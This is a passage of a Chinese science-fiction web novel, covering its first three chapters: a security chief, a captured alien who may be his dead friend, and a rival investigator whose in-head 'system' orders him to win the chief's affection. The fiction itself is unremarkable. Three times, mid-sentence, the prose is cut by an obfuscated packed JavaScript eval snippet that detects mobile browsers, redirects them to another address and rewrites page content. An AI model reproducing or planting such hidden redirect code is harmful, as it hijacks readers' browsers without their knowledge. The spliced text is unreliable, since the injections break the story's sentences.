《他们以为自己是攻略者》 1. 诡异的感情 那种黏腻窒息的感觉又来了,他整个人像是泡在了胶质的液体里,有谁在舔舐他的血液,那一道道深可见骨的伤口慢慢没了知觉。 它们没有痊愈,只是于奉彦的神经麻木了。 “我会陪着你的。”清亮的少年音说出来的却是最骇人的话,“因为我爱你啊。” 于奉彦的视线模模糊糊,他看不清对方的脸。 又或者对方根本没有脸,那是一个个张开双臂等待着将他吞噬的怪物。 “我爱你,不管你会不会喜欢我。” 不,这东西在说谎,祂分明在期待着于奉彦的回应,祂期盼已经一无所有的于奉彦从他干枯无趣的灵魂里挤出最纯粹、最让人心动,最病态的爱。 就像榨甘蔗那样,于奉彦曾经在执行任务的时候见过甘蔗这种植物,据说曾经的人类会用它来制糖,将其中的汁液尽数挤出,随后只剩下残渣。 那些声音还在叫嚣着爱他,声音重叠起来像是食腐动物的狂欢。 那些声音黏腻缠绕在一起,幻化成了一条条触手,缓慢地爬上了于奉彦的脖颈,试图勒断他的脖子。 他奋力地吸气,可那触手越来越紧,空气压根没法进入他的肺。 于奉彦好像听到了“咔”的一声,紧跟着他的视线开始下坠。 他的脖子被这些怪物勒断了? 于奉彦骤然惊醒,他深吸了一口气之后伸手捶了捶自己的额头。 又做这样的噩梦了。 “嘶……”于奉彦低头看向被自己脑袋压麻了的左臂,这时候他无比希望自己办公室周围没有那狗屁倒灶的智能设备屏蔽装置。 现在人类已经进入星际时代,他却已经几个星期没见过自己的光脑屏幕了,人类的科技发展到底是为了什么? 于奉彦用右手把摆放在左边桌角的镜子扒拉过来,他感觉自己这个办公桌也有些大过头了,或者下次给这个镜子系个绳子? 他拿着镜子左右照了照,随后又对着镜子露出一个温和的笑,就在他收起笑容准备照照自己的脖颈时,于奉彦拿镜子的手顿了一下。 不知是不是他的错觉,镜子里的那个于奉彦在他收敛了笑容之后就跟没反应过来似的,还在笑。 不过这种延迟也就持续了一秒。 于奉彦盯着镜子看了一会儿,随后他再次扯出一个笑,又再次收敛起来,但这次并没有出现延迟。 他把镜子倒扣在办公桌上,沉默了一会儿之后又拿起镜子做了几个表情。 这次没有出现任何异常,似乎刚才的一切只是他的幻觉。 办公室的门被敲响。 于奉彦把披在自己身上的外套拿到了一边,他起身将手放在了墙面套了外壳的旋钮上。他捏着旋钮轻轻转动,随后听到了轻微的咔咔声,办公室的门缓缓打开了。 他办公室的门是一套独立的机械结构,于奉彦的工作性质很特殊,他经手的许多文件需要高度保密,这就导致他的办公室成了星际最不智能的地方之一。 这儿只有简单的内部系统,而这些系统只能传输文字信息。 “部长。”一道清洌的女声响起,穿着军装的秘书走了进来,“我们抓到的那个外星杂种有问题。” 于奉彦慢慢悠悠地穿上衣服:“讲话文明一点嘛。”他听到这话之后露出了一道苦笑。 秘书没有太多的表情变化,她继续开口:“那个茧族似乎认识您。” 茧族是一个外星种族,他们和人类长得很像,只不过他们的皮肤是偏灰白,血液是蓝色的。 而茧族里的“茧”字是因为他们将其他类人生物当成了孕育自己后代的茧,人类初次和他们接触时吃了大亏,他们的繁殖方式是将下一代的基因盘注入人类的身体里,随着孩子的成长,携带基因盘的人类会慢慢变得头脑不清醒,行动迟缓,越来越消瘦。 直到最后只剩皮包骨头,在携带者倒下的那一刻,新一代茧族就会撕破人类的皮囊爬出来。 这是一类相当危险的外星人,人们发现随着茧族在体内的发育,携带者的五脏六腑会慢慢被啃食掉,但人不会死。那个时期的茧族和人类几乎是一体的,茧族的器官代替人类的器官工作,人会误以为自己还活着。 于奉彦动作一顿:“认识我?他以前见过我?我是他的目标?” “我们查出他的目的地是您老朋友姜河的老家,他想去看姜河的父母,而且他的光脑上有非常多与您有关的信息。”秘书解释。 于奉彦默不作声。 秘书继续道:“他还能使用姜河的秘密账号。” “我不记得姜河这小子有什么茧人的朋友啊。”于奉彦拍了拍自己的外套。 他说这话的时候似乎还在笑,但秘书知道,于奉彦天生就是这样一张脸,他的嘴角生来就是微微上翘的,哪怕气急了,只要他不往下撇嘴,看上去依旧像是在笑。 姜河一年前被星盗绑架,最后死在了星盗的手里。 那时候于奉彦正在执行任务,等他收到消息的时候已经迟了。 秘书跟着于奉彦一起参加了姜河的葬礼,她眼看着姜河的父母情绪失控,大声质问于奉彦,如果不是有人拦着,对方的拳头估计都落在于奉彦的脸上了。 之后好几个月,于奉彦都没离开过办公室,他住在了办公室里,直到那一批星盗被剿灭。 姜河的父亲两个月前来找过于奉彦,他对于奉彦说了声抱歉,当初是他的情绪太冲动了。 他们的关系似乎开始转好了,但一个星期后,于奉彦就收到了对方的死讯。 于奉彦:“走,去见见他。” …… 楚骸静静地躺在地上,这是他被带进来的第几天了? 行动组的人来见过他了,但组长没来,他的计划似乎出现了一些偏差。 没有虐待,没有殴打,一天两瓶营养液的送过来,那些人好像已经把他给遗忘了。 就在他思考自己还得在这里待多久时,看守室的防护光罩被打开了。 警卫机器人给楚骸戴上了手铐和面罩,套上了动态抑制装置。 动态抑制装置看起来只是一条半透明的光带,环绕在楚骸的身上,但这东西能抑制肌肉的收缩,楚骸彻底失去了行动能力,只能由警卫抬着走。 最后楚骸被扔进了审讯室,茧族对人类的威胁很大,但他们本身并没有什么特殊能力,所以配备的审讯室也没有太多特殊的功能。 一个球形的蓝色半透明光罩笼罩了楚骸,而在光罩之外,出现了一个半透明的全息投影——于奉彦。 楚骸望着于奉彦,望着于奉彦那张让他又爱又恨的脸。 长眉压着一双深邃的眼睛,于奉彦的瞳色浅得有一些吓人,他的虹膜是一层很淡很淡的红色,乍一看几乎只看得到瞳孔。 他看人的时候总带着若有若无的笑意,脸是瘦的,轮廓分明,颧骨下微微凹陷,薄唇,嘴角天生微微上翘,不笑也像笑。 此时于奉彦正在打量他,楚骸不知道于奉彦此时在想着什么,不知道他下一刻的态度到底是温和还是愤怒。 楚骸有些委屈,别人看不出于奉彦的情绪,他却分得清。 他知道于奉彦什么时候是真诚的,他见过于奉彦真心的笑。 可现在于奉彦望着他却像在看一个外人。 “姜河。”于奉彦忽然喊了一声。 楚骸骤然抬起头,随后他便看到了于奉彦那张似笑非笑的脸。 楚骸感觉自己的呼吸都停滞了。 但于奉彦并没有继续开口,楚骸都开始怀疑自己是不是出现了幻听。 于奉彦还在沉默。 楚骸感觉一分一秒都被拉长了,他听得到自己胸腔里心脏的跳动声。 就在这时,楚骸忽然想起了于奉彦曾经跟他说过的某些“小技巧”,有时候审讯者的沉默是一种施压,审讯者会观察犯人的反应来判断他们的状况。 可楚骸根本没有追问“被审讯者什么样子才能撇清嫌疑”。 楚骸有些头疼,于奉彦还在沉默,他希望这种沉默快些结束,但他又不知道自己的言行会不会暴露一些什么。 只能先耗着。 “你很有意思。”于奉彦终于开了口。 楚骸还是没有反应。 “没有伴侣的茧族虽然不被允许进入人类的联盟,但真被抓住了也就是关一段时间再遣返,毕竟手上没有人命,你可真镇定啊,刻意练习过吗?”于奉彦一开始还不确定楚骸到底是对姜河这个名字有反应,还是害怕自己接下来即将出口的话。 但之后楚骸太安静了。 他似乎焦急了一会儿就迅速冷静了下来。 他不想问自己什么时候能被放出去吗?他不好奇于奉彦刚才那莫名其妙喊出口的两个字是什么意思吗?他不想证明自己手上没有人命? 他的呼吸从急切转变为舒缓,于奉彦怀疑他在靠强行转移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440287|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意力来维持镇定。 楚骸在听到他的话之后呼吸再次被打乱了,他的反应变得更加剧烈。 这是个训练得不怎么合格的家伙。 “行了,关回去吧。”于奉彦没有继续往下问,他让人把楚骸带过来似乎只是为了看一看楚骸,没有其他目的。 可他明明发现了问题,他为什么不继续问下去? 楚骸被带下去之后投影就消失了,而在另一个封闭的房间里,于奉彦半垂着眼帘似乎在思索一些什么。 他觉得他已经得到了自己想要的答案,对方的反应暴露了太多的东西,而且在紧张时,人的反应在没有经过训练的情况下是很难掩饰的。 但这个答案他无法理解,荒唐至极。 一个人类怎么可能彻底变成一个茧族人? 而且于奉彦的脑袋里冒出来一些其他的记忆,一些与楚骸和姜河完全无关的记忆。 “你在哭吗?你为什么会哭?” “因为被抢了玩具?” “我还以为你会揍他,而不是跑到我这儿来哭。” 那个人看他的眼神再没有了往日的温和,更多的是一种厌恶。 而直到很久以后于奉彦才知道,对方不是看他可怜,对方只是在投资。 他需要一个“狼狗”,一个被他捡到的,遍体鳞伤的狼狗。 于奉彦要对特定的人忠诚,而其他的时候,他需要做个疯子。 他从小就得是个疯子,他得做个异类,他得撕咬其他的孩子。 他不能在感受到温暖之后想要做个普通人,拥有自己的朋友。 他的善意必须是被恩人教导出来的,但他不能真的将那些教导记在心上,因为那样他就变得普通了。 普通人无法满足特定的浪漫幻想。 “啧。”于奉彦揉了揉自己的额头,他感觉自己的太阳穴突突直跳。 站在于奉彦身后的秘书皱起了眉头,她刚才似乎看到她和于奉彦落在地上的影子共同扭曲了一下,那一瞬间,秘书怀疑自己的影子想将自己拖入深渊,不过一眨眼一切又都恢复了正常。 于奉彦和秘书几乎同时觉得自己脑袋出了一些问题,得休息一段时间了。 偏偏这时候有人推门而入:“部长!咱们组长让人扣了!” 于奉彦:“什么?” 他认得来报信的人,这人是行动组的。 现在行动组的组长没有外派去其他星区去执行任务,在这里还有人敢扣他们星域安全调查局的行动组组长? “谁干的?”于奉彦沉着脸询问。 “是内安局的。”来人回答,“他们说怀疑组长和一支外星势力有勾结。” 于奉彦没有再追问,他打开自己的光脑,点了一下某个联系人的名字,随后他一边往外走一边等待通讯被接通。 片刻后,对面传来了一道男声,喊了一声于部长。 “我不跟你多废话。”于奉彦打断了对方,“你们抓了我的人?” 对面那人支支吾吾,说不清话。 “你不知道就让你们主任亲自接电话。”于奉彦的语气依旧平静。 “于部长,这事没经过我们主任的批准,是特别调查组那边行动的,你也知道……” “特别调查组?”于奉彦再次打断,“御疏?” 通讯那头的人连忙应是:“您也知道这位御组长的背景和脾气,他是分局下来的人,我们……” 于奉彦直接挂断了通讯,此时他没有精力去思考那些黏腻的感情了:“准备悬浮车。” 秘书询问:“您要去内安局找人吗?” “他御疏要是有逮捕令,我认。”于奉彦不觉得对面有逮捕令,不然对方的主任不会怂得连个通讯都不敢亲自接,“要是没有,我倒要问问他们凭什么非法拘押我们的人。” 于奉彦忽然有些饿,饿得恨不得把周遭混乱又忙碌的一切都“咬死”,然后“吃掉”。 另一边,刚抓了于奉彦下属的特别调查组组长御疏出现了幻听。 【我是真实存在的。】系统在他脑内强调。 幻听说它是真实存在的……他还以为幻听这种东西对人的影响应该是潜移默化的,等他意识到的时候他应该疯得很彻底了,但幻听只来了一句“我是真实存在的”。 怎会有如此低劣的谎言?这个幻听的职业素养似乎很一般。 系统:【有人说过你说话不好听吗?】 2. 消耗殆尽 御疏的面色很阴沉,他怀疑自己疯了。 不然为什么他脑袋会忽然出现一道不属于他的声音?而现在这道声音还让他攻略于奉彦。 系统:【我不是你的幻觉。】 又来了。 御疏按住自己的太阳穴,他是不会回应这道声音的。 【你已经反复进医疗舱检查过自己的脑子了,你很健康。】系统继续说。 看样子他的幻觉已经严重到影响他对现实世界的判断了。 御疏觉得当务之急是给自己的父母留下一封遗书,把该交代的都交代了。 系统:【你听我说一句话好不好?我也不想绑定你的,这是一场误会,但现在这一切已经发生了,我得学会接受现实,你也得接受。】 御疏考虑了很久,结果他发现自己压根没什么能留给父母的,毕竟他没有多少存款,更别说产业了。 他的职位也一直没能升上去,又没有家庭,朋友更是…… 系统:【真的一点存款都没有吗?】 御疏:…… 系统:【连朋友都没交到?!你家境不是很好吗?】 “家境和交朋友到底有什么关系?”御疏反问。 【你肯搭理我了?】系统很惊喜。 御疏又沉默了。 【虽然你和于奉彦之间的关系不太好,但努力一下也不是不能获取他的好感度。】系统连忙道,【死对头变情人也不是不可能。】 御疏的手指轻轻敲击桌面,他的眉头皱得更紧。 现在他有点相信脑袋里这东西不是自己的幻觉了,他觉得自己根本琢磨不出这类疯法:“我为什么要获得他的好感度?” 系统解释:【于奉彦的身份有问题,为了不造成更大的危机,需要有人用感情来锁住他,避免给众多文明带来灭顶之灾。】 “身份有问题就抓,他想害人就杀,何必要拐弯抹角玩这些?”御疏感觉这个自称系统的东西才是脑袋有问题的。 这东西到底在自说自话一些什么奇怪的玩意?什么叫“死对头变情人”? 什么叫努力一下也不是不能获得于奉彦的好感度? 于奉彦是什么很不得了的好东西?好到能让他放下尊严屈膝讨好对方,就为了换那点所谓的好感度? 系统:【我知道你对于奉彦有偏见,但他油滑阴狠的外表下其实藏着一颗伤痕累累的心。】 “不是偏见,”御疏纠正,“我看不上他的为人,这不算偏见。” “伤痕累累就去看心理医生,我没有义务帮助他。”御疏咬紧了后槽牙,“联盟就是被他这样的混蛋给搞坏的。” 系统:【……宿主,我得提醒你,现在的情况已经相当紧急了,如果您消极怠工,是会受到惩罚的。】 御疏:“凭什么?” 系统:【我们需要于奉彦的好感度,你别无选择。】 御疏:“我不干。” 系统:【如果您在规定时间内没有完成任务,会受到电击处罚。】 “我坚持我的看法,我无法阻止你,但我不可能背叛自己的良心。”实在活不下去了御疏就留一封遗书,他绝不和这荒唐的系统同流合污。 系统:【你爸妈把你养大不容易。】 “我爸妈把我养大不是让我学着奴颜媚骨,卑躬屈膝的。”御疏在思考这个系统的话有几分真。 如果它真不是自己的幻想,于奉彦的身份真的有问题。 只怕自己死的时候还得带上于奉彦才行。 御疏不喜欢于奉彦这个人,他们之间没有什么血海深仇,更没有利益牵扯,但御疏就是厌恶于奉彦,他不喜欢于奉彦的行事作风,这人对上极尽谄媚,市侩圆滑。 他似乎懂得许多规则,也相当得意自己能掌控这些规则。 御疏曾经也尝试劝过于奉彦,但后来于奉彦和他争执了起来,紧跟着他们就动了手,他们俩的眉骨和鼻梁骨被对方揍出了轻微的骨裂,最后被学校的守卫机器人强行分开,各自被塞进了医疗舱,还吃了处分。 御疏知道于奉彦也看不上他,于奉彦认为御疏有资本坚守所谓的正义不过就是靠自己做大议员的父亲和做星区大法官的母亲。 他不否认这一点,但他也坚持自己的看法,他觉得于奉彦的底色是冷漠的,冷漠得不像个人。 正想着,御疏的通讯器上就收到了组员的消息,于奉彦赶过来了。 “来得挺快。”御疏起身走出了办公室,这时候恰巧于奉彦和他的秘书都从电梯上来了。 于奉彦和御疏四目相对,于奉彦笑了笑,这笑容像是在问候老同学,他装得很像,但御疏见多了他的伪装,于奉彦也很清楚御疏最讨厌他这做作的样子。 所以这温和的笑不过是一种挑衅罢了,于奉彦在故意恶心他。 【你们很了解彼此不是吗?】系统很欣慰。 这又多出来了一个讨人嫌的。 “我以为你会去审讯室。”御疏对于奉彦说。 “然后给你一个跑开的机会,假装你御大组长不在?”于奉彦接茬。 于奉彦:“人呢?” 御疏没有太大的反应:“正在审。” 于奉彦朝他伸出手:“逮捕令给我看看。” 御疏低头看了一眼他的手心,随后抬头盯着于奉彦的眼睛:“情况特殊,我有临时羁押的权力,不需要逮捕令。” 于奉彦听到这话之后又笑了,像是被气笑的:“临时羁押是针对现行犯和突发紧急情况的,请问我们那位贺组长上午还在调查案情,他是趁着吃午饭的时间犯了个大罪还是忽然想要携款潜逃啊?” “他收了外星势力的资金,私自行使特权,我认为这算紧急情况。”御疏解释。 “你说那些流浪的外星居民?他们连自己的文明都没了,给的钱也就那么点,不至于让一个星安局的行动组组长背弃人类,能折腾出多大的事?”于奉彦觉得好笑。 御疏睁大双眼:“你一直都知道这回事?!你在纵容……” “我不管你在调查什么,他肯定跟那件事没有关系。”于奉彦看着御疏那张冷脸,有些烦躁地叹了一口气。 “你对正义上瘾是吧?”于奉彦一直维持着他那颇为友好的笑容,“那你为什么解决不了近在眼前的不公呢?” “你是说你那个行动组组长贺标吗?”御疏问他。 “不,我是说我们星区那些边境星上快要活不下去的外星种族,诶,我记得你们内安局在里面安插了不少探子啊,他们过的什么日子,小少爷你不知道?”于奉彦语调上扬,嘲讽的意味更浓烈了。 “那群文明已经被摧毁的可怜虫,一天到晚在边境星上倒腾那些不值钱的破烂,承包赚不了几个钱的垃圾矿,他们想要找一个靠山很正常。”于奉彦一直都知道贺标在做这个,但他没管过。 “小少爷,那些没有母族文明的家伙有多容易被欺负你不知道?”于奉彦逼近御疏,“说是欺负都有些轻了,那就是一帮耗材。基本的生存资源没有保障,工钱拿不到手,甚至一不小心就被变态给玩死了。” “没人会为了他们去打官司,所以他们必须找一个靠山,用您老人家看不上眼的方式找一个靠山。”于奉彦和御疏之间只有一拳的距离了。 “有人有需求,有人想要捞一些辛苦钱。”于奉彦指了指御疏又指了指自己,“互相多条活路而已。” 贺标的确收了钱,那些人定期给他上交一部分“咨询费”,他会“关照”那些无文明的外星生命体。 所谓关照也只不过是在那些人的产业被无故收缴,人被抓的时候帮忙斡旋。而有他在,那些喜欢折腾人的地头蛇也得掂量掂量自己敢不敢得罪星安局的人。 “你伟大,你有本事去把干这活的人都给抓了。”于奉彦两手一摊,“希望那些再也不用送钱的外星种族也能同沐您的恩泽……诶,你知道有些即将灭绝的种族的收藏价值有多高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440288|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?多的是人喜欢呐。” 说完之后于奉彦往后退了一步:“一个小时,我的车就在下面,一个小时之后我要见到贺标全须全尾地站在我面前。如果一个小时后人没来,我就让你们主任亲自给我送过来。” 于奉彦没再多说,带着秘书走了。 进了电梯之后于奉彦注意到了秘书有些困惑的眼神。 “怎么了?”于奉彦问她。 “部长,御疏会放人吗?”刚才御疏只是在沉默,秘书不明白御疏到底是怎么个意思。 “会放的。”于奉彦说到这儿,忍不住啧了一声。 如果御疏不想放人,他就不会这么安静,他一定会反驳于奉彦,并且明确表示于奉彦不可能从他那儿把人带走。 但御疏估计也不认为贺标这样的行为算是一种“保护”。 这就是御疏这家伙最烦人的地方。 这么多年了,御疏那样的身世,却只能在一个边境星区做个特别调查员,职位甚至比于奉彦还低了一级。 御疏的父母也担心自己孩子的狗脾气惹出无法挽回的祸事来,一直在压着他。 可于奉彦又没法骂他虚伪,因为这一根筋的少爷给人帮忙是真不收钱。 于奉彦坐在悬浮车后座上安静地等着。 一个小时过去,内安局的警卫护送着一个穿制服的男人走了出来。 悬浮车窗缓缓落下,于奉彦和那男人对视一眼。 男人低下头喊了声部长。 “上车吧,他们有没有对你动手?”于奉彦微微颔首。 “没有,只是追问我手里那些钱是从哪儿来的。”贺标点点头,他拉开门坐了进去,“抱歉,部长,我……” “得了。”于奉彦打断他,“明天给你放一天的假,好好休息一天,这件事你的爱人和孩子都不知道,既然已经没事了,也没必要让他们徒增烦恼。” 贺标嗯了一声,他沉默片刻之后忽然又开口:“部长,我怀疑内安局的特别行动组在调查的案件和您最近在查的是同一件事。” “这事儿也确实归他们查,估计是他们发现咱们也在找证据,以为我们跟那件事有什么关系。”于奉彦没那么意外,这件事本来就归内安局管。 悬浮车先将贺标送到了家,随后又带着于奉彦和秘书回了星安局。 在看到星安局建筑的瞬间,于奉彦脑子里冒出了那个奇怪的茧族人,他甩了甩头,有些抗拒走进关押了那个茧族人的分部。 在送贺标回家时,于奉彦心里莫名多出了几分羡慕,他似乎在羡慕贺标家里有人在等他。 或者说……有真正的人在等他。 真正的人?于奉彦被自己的想法逗乐了,难不成这世上还有假人吗? 可后头那个念头一出来,于奉彦的身体却先一步做出了反应,他汗毛倒竖,后背冷汗涔涔。 于奉彦面上不露分毫,他面带微笑,数着自己的脚步声回了自己的办公室,去盥洗室里用冷水抹了一把脸。 缓了一会儿之后他抬头望着自己的脸,于奉彦有一种错觉,他怀疑自己这张面皮随时会裂开,而藏在他皮囊下的是一个恐怖的怪物。 他在自己脸上狠搓了两下,随后他踉跄了一步,双手撑住墙体,有些颓唐地低着头。 是太累了,他想。 一定是他太累了,他已经好多天没有睡好了。 一切结束就好了,只要他能好好地休息一天。 一天就行。 好好睡一觉,一切就能在他第二天睁眼的瞬间恢复正常。 于奉彦懵了好一会儿之后又想到,那个少爷估计也很久没休息了,他的状态只会比自己更糟,刚才御疏眼下还有明显的青色。 “哈哈。”于奉彦幸灾乐祸似的笑了两声。 笑完之后他的肌肉像是没力了,嘴角被引力扯着向下撇。那点强行提起来的兴致没能支撑多久散得一干二净。 笑多了真累。 3. 你好,老同学 于奉彦忘了自己是什么时候睡着的,他再次被噩梦吓醒时,被枕着的右胳膊又麻了。 他看了一眼时间,发现已经到了清晨,只不过闹钟还没响。 于奉彦沉默着坐了一会儿,等自己的胳膊恢复。 原本于奉彦想要拿起镜子看一看,可他想到了些什么,手不敢再伸过去了。 黑暗在他身后缓缓靠近他,于奉彦觉得有些冷。 他需要找人去聊点什么,无论什么都好。 …… “小萧,如果有一天你发现你身边所有的感情都是假的,你会怎么样?”于奉彦询问秘书。 “假的?”秘书抬头望向于奉彦。 尽管于奉彦没有继续说下去,秘书还是意识到了于奉彦在纠结困惑些什么。 秘书本名叫萧赋云,她在于奉彦身边待了好几年,她发现于奉彦身边有一批特别奇怪的人。 那些人似乎非常喜欢于奉彦,对于奉彦有一些莫名其妙的浪漫幻想。 萧赋云一直怀疑自己获得这个工作的一个重要原因就是上一任秘书做出了某些越界的行为。 而那些迷恋于奉彦的人有一些共同点,他们长得非常好,哪怕是在整容技术发达的星际,他们的长相也能迅速抓住他人的眼球。 那些人的家世也同样不俗,身边更不乏追求者。 但那些人只盯着于奉彦。 哦对了,他们还都是男人。 萧赋云怀疑自己这个领导身上是不是有什么东西,而且那东西不是于奉彦想要的,毕竟于奉彦被示爱的时候总是愁眉苦脸的。 难不成于奉彦身上有什么自己没有发现的魅力? 萧赋云想要认真揣摩,但是她一揣摩就忍不住去想自己还没有整理完的那一大堆文件,于奉彦几个星期没回家,她也几个星期没回家了,刚才下面又上交了一堆资料,她没来得及处理,这时候于奉彦还要跑过来找她聊天了。 上一个对于奉彦起色心的秘书是什么超人吗? “什么样的感情会让人觉得是假的?”萧赋云反问于奉彦,她知道于奉彦到底为什么难受,但她不理解那些人为什么会这么做,就像不理解于奉彦身上为什么有那么大的吸引力。 于奉彦沉思了许久,最后无奈地叹了一口气:“我自己也不太清楚。” 那就快点回自己的办公室里干活去吧,萧赋云在心里想。 “但如果你付出了感情,你以为你的感情有了附丽,但那只是别人算计之下的成果,会不会显得特别可悲?”于奉彦继续问。 萧赋云不知道该怎么回答,于奉彦揉了揉自己的头,还有些话他没敢问出口,他不想把问题描绘得太详细,因为那样会显得他像个疯子。 可从遇到那个茧族开始,他心里的恐慌就没消失过。 现在这种恐慌慢慢沾染上了愤怒的情绪,可他现在明明没有任何证据证明那个叫楚骸的茧族就是他已经死去的朋友姜河,但他还是感受到了气愤。 姜河死的时候他是懵的。 他第一时间想要去救人,可周围的一切似乎都在拦着他。 突发事件变多,他的上级也拦着他,等他终于摆脱桎梏赶到时,姜河已经死了。 于奉彦已经回忆不起来当时的心情了,他和姜河认识了十几年,姜河可以算是他认识的唯一一个和他没有多少利益牵扯的朋友。 纯粹的朋友。 想到姜河的时候于奉彦心里是有些得意的,他觉得大多数人都是这样,拥有一个非常要好的朋友似乎能证明自己这个人还蛮不错的,不然为什么会有另一个那么好的人如此真挚地在意自己? 可如果所谓的真心是假的呢? 如果这一切都是一场骗局呢? 于奉彦已经不是第一次产生这样的疑问了,如果所有的感情交流都只是某个设定好的“剧本”,那么他们口中经常提起的那个“于奉彦”又有几分是真的? 于奉彦不敢再深想,他只能寄期望于自己猜测的一切只是精神压力过大带来的荒唐的幻想。 一个人类怎么可能变成茧族? 他未免太高看自己了,姜河是有父母的,怎么可能为了骗他而抛弃自己的至亲? 在经历了太大的打击之后,人总会下意识地推卸责任,哪怕他找的是一些荒唐至极的理由,而在意识到自己是在推卸后,愧疚感油然而生。 他想他是为了逃避自己朋友的死才莫名其妙地想这么多的,姜河已经死了,如果姜河知道自己朋友心里的那点想法,只怕会后悔交了这么个缺德的朋友。 愧疚取代了惊恐,这居然让于奉彦松了一口气。 另一边,一直在等待的楚骸有些坐不住。 他不明白于奉彦为什么在见了他一面之后就没有后续的动作了。 楚骸在害怕,而在害怕的同时他还有些期待。 原本他做好了计划,那个抓了他的行动组组长对茧族有着刻骨的仇恨,他的发小成为茧族的“茧”,那个组长亲眼看着新生的茧族破开自己发小的身体爬了出来。 这个组长一碰上茧族就发疯,楚骸原本以为这人会滥用职权,对自己做些什么。 但这个组长迟迟没有出现。 如果没有出意外,于奉彦见到他时他应该是遍体鳞伤的。 于奉彦不该冷淡地看着他,于奉彦应该会想要搂着他,却因为他满身的伤口不知如何下手,只能让医疗机器人把他带走。 再然后于奉彦会恨不得崩了那个组长,但他能克制自己的愤怒,他会安排那个组长出一个更危险的任务,悄悄处理掉那个组长。 可现在于奉彦什么都没做,因为楚骸压根没有受伤。 楚骸只希望之后的发展不要太无聊,于奉彦不要一眼就认出了他的真实身份,然后对着他哭泣认错。 那样就没什么意思了,楚骸了解自己,自己是个容易心软的人。 说到底,如果那个叫贺标的行动组组长能折腾出些什么事就好了。 也不知道是不是他一直在琢磨贺标的缘故,到了吃午饭的时候,贺标真的出现在了拘留所光墙的外面。 只不过看守所的光墙是隔音的,楚骸只能看到贺标指着他对身边的下属说了些什么,贺标的眉头是皱着的,但似乎没那么愤怒。 “你们什么都没问出来?”贺标询问身旁的下属,“既然已经查出了他和两个专员的死没关系,为什么不放了?” “部长没让放人,他似乎和部长死去的朋友有些关系。”下属解释。 “那部长有没有什么特别的指示?”贺标询问。 下属摇摇头:“没有,部长那天过来见他,当着他的面喊了‘姜河’这个名字,之后部长就走了。” 贺标的眉头皱得更深了。 贺标思考了许久,随后他问了一个和刚才的对话完全无关的问题:“他每天吃点什么?” “营养液。”下属说。 贺标:“给他餐标提高一点,偶尔送点其他食物。” 贺标没有理清其中的逻辑,但他也不打算深入去琢磨其中的因果。 有些事知道得越少越好,贺标如今已经一百多岁了,他的人生已经过去了三分之一,他再往上爬也爬不了多高,还不如混混日子,等退休和自己伴侣一起去星际各处转一转。 贺标透过光墙和身处其中的楚骸对上了视线,不知是不是错觉,他总觉得这个茧族的眼神在发光。 这人总不会还认识自己吧?那更不可能了。 他盯着这个茧族看了许久,他的眼神有些失焦,也不知在琢磨些什么。 到最后他长长地叹了一口气,背着手转身离开了。 楚骸有些懵。 怎么了?贺标什么都不做? 是于奉彦发现了自己的真实身份之后通知了自己的下属,警告贺标不能对他动手吗? 这也太没意思了。 “阿嚏!”贺标打了个喷嚏,他揉了揉自己的鼻子,左右看了看。 室内的温度太低了?不至于吧。 楚骸不明白于奉彦给了贺标什么样的威胁才抑制住了贺标对茧族的仇恨,但他明白这样的仇恨不会消失,哪怕现在贺标什么都不做,未来贺标也接受不了于奉彦和一个茧族在一起。 于奉彦自以为保全了他,但他不知道自己的压制带来了更多的麻烦。 现在情况有变,只怕下一次亲自来见他的就是于奉彦了。 他得暂时隐藏好自己的身份。 “我被停职了?”于奉彦挑眉询问通讯另一头的人。 “不是停职,只是让你暂时配合调查。”另一边的人回应。 “我正在调查,人是在我的辖区出事的,我当然要调查。”于奉彦扯了扯嘴角。 “那两个接触文件过后死掉的专员和你关系不错,你是最后一个见过他们的人。”那人说。 于奉彦沉默片刻,忽然又问:“那为什么隔了几个星期才把我停职?既然怀疑我,那你们为什么不早早地让我配合?” “这不是停职,只是需要你配合调查。”另一头的人重复车轱辘话。 “我知道了。”于奉彦没再挣扎。 在通讯被挂断之后,于奉彦和萧赋云对视一眼,随后他让萧赋云先出去。 等萧赋云离开,于奉彦再次拨出了一个通讯。 通讯很快就接通,对面传来了一声“喂”,这不是秘书的声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440289|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人似乎在等待他的电话。 “总局长。”于奉彦恭敬地喊了一声,随后他有些急切地询问,“分区通知我说停了我的职,您知道这是哪方面的意思吗?” 通讯那头沉默片刻,随后传来一道略低沉的男音:“不是什么大事,你就当放了个假吧。” 于奉彦:“……我明白了。”这也是总局长的意思。 总局长简短地嗯了一声,随后通讯被挂断。 于奉彦盯着内部光脑看了许久。 有一件事他不太敢深想。 如果他没记错,正在调查这起案子的是不是御疏? 